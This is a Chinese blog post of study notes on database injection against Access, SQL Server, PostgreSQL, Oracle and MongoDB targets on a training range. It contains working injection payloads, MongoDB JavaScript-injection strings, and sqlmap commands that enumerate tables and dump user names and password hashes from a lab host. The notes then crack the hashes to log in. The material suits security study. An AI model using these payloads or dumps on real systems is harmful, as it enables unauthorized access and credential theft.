首页 > 数据库 >Web漏洞--数据库注入

Web漏洞--数据库注入

时间:2024-03-23 16:29:05浏览次数:31  
标签:sqlmap Web -- 数据库 id Payload 注入

数据库注入

Access、mysql、mssql、mongDB、postgresql、sqlite、oracle、sybase等

#上节课JSON注入案例分析

天池大数据众智平台-阿里云天池

所以json注入时要在 1、2、3上面去注入

#简要学习各种数据库的注入特点数据库架构组成,数据库高权限操作

Access 是低等级的数据库,依次是表名、列名、数据(功能很少--例如没有读写的功能)

Mysql、mssql等依次是数据库A、表名、列名、数据

数据库B、表名、列名、数据

..............(具有一定的结构)

#简要学习各种注入工具的使用指南熟悉工具的支持库,注入模式,优缺点等sqlmap, NosQLAttack , Pangolin等

Q:什么决定网站注入点用户权限?

A:连接数据库的配置文件

墨者靶场实例1-Access:

\1. 判断字段长度-4(5回显错误,4回显正常)

\2. 因为access是个简单的数据库,所以不需要判断版本、数据库名之类的,也没有记录信息表(information_schema.tables)可以直接查询数据(暴力破解--猜测)---猜测对了就会报数据,没对就会报错

直接爆出数据

(也可用字典跑)

遗留问题:access注入时,列名或表名猜不到就不能注入

墨者靶场实例2-SQL server:

https://www.cnblogs.com/xishaonian/p/6173644.html

注入步骤与mysql数据库大体一致,只是命令不同

判断版本

Payload:

id=2 and substring((select @@version),22,4)='2005'--+

其他命令与操作步骤大体与mysql注入一样

也可用sqlmap工具爆数据

如: 爆数据库名

爆表名

爆字段名

实例3:postgreSQL数据库的注入

Payload:and 1::int=1

用sqlmap工具扫描也可达到同样效果

--is-dba (是否为数据库管理员权限)

--privilege (查看权限)

-v 3 (打印出来)

爆数据库名

Payload:

python sqlmap.py -u http://219.153.49.228:47679/new_list.php?id=1 --current-db

--tables -D 数据库名 #获取指定数据库下的表名

Payload:

python sqlmap.py -u http://219.153.49.228:47679/new_list.php?id=1 --tables -D "public"

--columns -T 表名 -D 数据库名 #获取指定数据库中指定表的列名

Payload:

python sqlmap.py -u http://219.153.49.228:47679/new_list.php?id=1 --columns -T "reg_users" -D "public"

--dump-C 列名 -T 表名 -D 数据库名 #获取指定数据库中指定表的指定列的数据

Payload:

python sqlmap.py -u http://219.153.49.228:47679/new_list.php?id=1 --dump -C "name,password" -T "reg_users" -D "public"

将得到的密码进行MD5解密可直接得到登陆密码

实例4:Oracle注入

原理与MySQL注入相似

判断注入类型---数字型

用union select null,null,null from dual可以尝试改变null的个数来查询列的个数,以构造相应的union查询,具体演示:

https://www.cnblogs.com/peterpan0707007/p/8242119.html

也可直接放到sqlmap工具中爆破

同样md5解密后可直接登陆

实例5:mongDB注入

Mongodb的查询文档方式与其他的数据库略微不同,当进行条件查询的时候,mysql是用where,而mongodb是以键值对形式进行查询的

注:MongDB不能使用sqlmap工具直接爆破(不支持)

手工步骤:

源码:

墨者 - SQL手工注入漏洞测试(MongoDB数据库)_mongodb数据库-注入实验-CSDN博客

爆库:

Payload:id=1'}); return ({title:tojson(db),content:'1

db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写

爆表:

Payload:

id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1 #查询有的集合(集合相当于mysql的表)

爆字段:

Payload:

?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

# db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

用md5解密得到密码直接登录

标签:sqlmap,Web,--,数据库,id,Payload,注入
From: https://blog.csdn.net/qq_54190167/article/details/136945773

相关文章

  • 限流场景&限流方案的一些思考
    限流场景保护系统资源:限流可用于保护系统资源,防止系统被过度请求而导致资源耗尽或系统崩溃。例如,限制对数据库、缓存、消息队列等关键资源的访问速率,以确保系统的稳定性和可用性。防止恶意攻击:限流可用于防止恶意攻击和恶意请求,如暴力破解、DDoS攻击等。通过限制来自单个I......
  • 前后文无关文法和语言练习
    目录产生语言{a^nb^n|n>=0}的文法产生语言{a^nb^n|n>=0}的文法要构造一个产生语言{a^nb^n|n>=0}的文法,我们可以使用上下文无关文法(Context-FreeGrammar,CFG)。这个语言包含所有由相同数量的连续a字符和连续b字符组成的字符串。下面是一个可能的文法:S......
  • 再谈Redis的锁
    Redis:锁单机悲观锁参考实现流程加锁,如果失败,则放弃或重试占用,业务逻辑释放实现​INCR​:通过返回结果是不是0​SETNX​:通过判断结果是否为0​MSETNX​:一次性获取多个key的占用Redis:msetnx乐观锁定义乐观锁并不会直接对临界数据加锁,而是在对临......
  • 全排列
    #include<cctype>#include<iostream>#include<vector>#include<algorithm>usingnamespacestd;intmain(){ vector<int>numbers={1,2,3}; //从大到小排序 sort(numbers.begin(),numbers.end(),[](constint&a,constint&am......
  • 机器学习金融预测领域2023部分综述论文阅读记录
    23年的综述最近读了3篇,总结笔记如下:本期所有论文链接:2023综述https://www.alipan.com/s/ySur3StxKip点击链接保存,或者复制本段内容,打开「阿里云盘」APP,无需下载极速在线查看,视频原画倍速播放。(2023)A_Systematic_Survey_of_AI_Models_in_Financial_Mark评价:原文写的一般,可以......
  • 传统图像压缩方法的局限性
    目录传统方法的局限性端到端的基于学习的方法熵编码过程传统方法的局限性传统的方法基于分割的图像块,会产生伪影。编码器的各个组件之间依赖关系复杂,难以手动进行整体优化。单个模块得到较大提升后,模型整体可能不会有太大提高。端到端的基于学习的方法对模型整体进行联合......
  • 字符串转base64或二进制
    /***字符串转base64*@paramstr*@returns*/functionmyEncode(str){////对字符串进行编码varencode=encodeURI(str.replace(/\+/g,'躞'));//+在后台转明文会丢////对编码的字符串转化base64varbase64=btoa(encode);......
  • 天天报警值班,老子不干了
    最近跟一个朋友(化名张三)吃饭,三哥最近想离职,来找我喝酒,说天天OnCall,出门都带着电脑,连续一年了,要崩溃了。我问:你们组就你一个人么?为啥就你自己OnCall?三哥一脸苦涩:我们组算上老板4个人,老板说另外俩人不靠谱,不让他俩OnCall,还给我画饼,说OnCall能提升我的技术,年底绩效普通,那俩哥......
  • 为什么DNS使用UDP(端口号是53)而不是TCP
    DNS(DomainNameSystem)使用UDP(UserDatagramProtocol)而不是TCP(TransmissionControlProtocol)的主要原因是出于性能和效率的考虑。下面详细解释为什么DNS选择使用UDP协议:小型请求和快速响应:DNS查询通常是小型请求,仅需要几个字节的数据传输。UDP是无连接的协议,它不需要在通信之......
  • 记录真实项目中遇到的bug--003:支付bug
    T03:支付bug:1.优先级:P02.前提条件:用户A手机浏览器打开页面选择微信支付3.预期结果:弹出二维码,根据提示文字在微信中完成支付。4.实际结果:弹出二维码,根据提示文字无法在微信中完成支付5.缺陷跟踪:后台未赋予微信外浏览器H5支付权限,因为开发与产品业务未能对齐颗粒度,最终取消手......